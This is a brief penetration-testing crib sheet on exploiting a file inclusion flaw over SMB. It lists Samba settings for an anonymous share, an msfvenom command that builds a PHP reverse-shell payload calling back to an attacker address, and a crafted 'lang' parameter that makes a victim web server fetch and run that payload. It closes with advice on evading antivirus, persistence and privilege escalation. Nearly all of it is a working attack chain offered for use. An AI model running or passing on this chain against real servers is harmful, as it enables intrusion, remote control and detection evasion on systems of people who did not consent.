The following outlines a very short overview of LFI using SMB in form of a crib sheet.
Install Samba: apt-get install samba Remove default Samba config: rm -f /etc/samba/smb.conf Create New smb.conf: vi /etc/samba/smb.conf
The following config was added to the new smb.conf to allow a share with no user/password required.
[global]: security = user map to guest = bad user bind interfaces only = yes encrypt passwords = yes name resolve order = bcast host workgroup = WORKGROUP winbind use default domain = yes dns proxy = no server string = Samba Server %v winbind trusted domains only = yes null passwords = yes netbios name = indishell-lab [public]: force user = nobody path = /mnt/smb_share public = yes
Once done the samba services were started and access was tested locally from a windows machine.
Once tested and satisfied the shares are functioning as expected then a payload for lfi was generated using msfvenom.
To avoid any complications with AV etc at this stage a basic shell is chosen over a meterpreter shell otherwise we could assume the exploit is not vulnerable when we are merely being blocked by AV.
msfvenom -p php/reverse_php LHOST=x.x.x.x LPORT=8443 -f raw exploit.php
Once everything is in place an msfconsole instance with a multi handler exploit can be started with the above msfvenom payload and our victim site tested:
http://someurl/script/?lang=\\x.x.x.x\smb_share\exploit.php
Injecting the above lang parameter with the smb path to the created share and php payload returned a positive response and the webserver pulls the php file over smb and executes the exploit to return a reverse php shell.
Once happy at this stage we can look at maintaining access and elevating privileges; it is also worth testing with a meterpreter shell in order to validate if there are issues with AV thus allowing more simplified options and potentially investigating fud meterpreter shells if exploits fail.
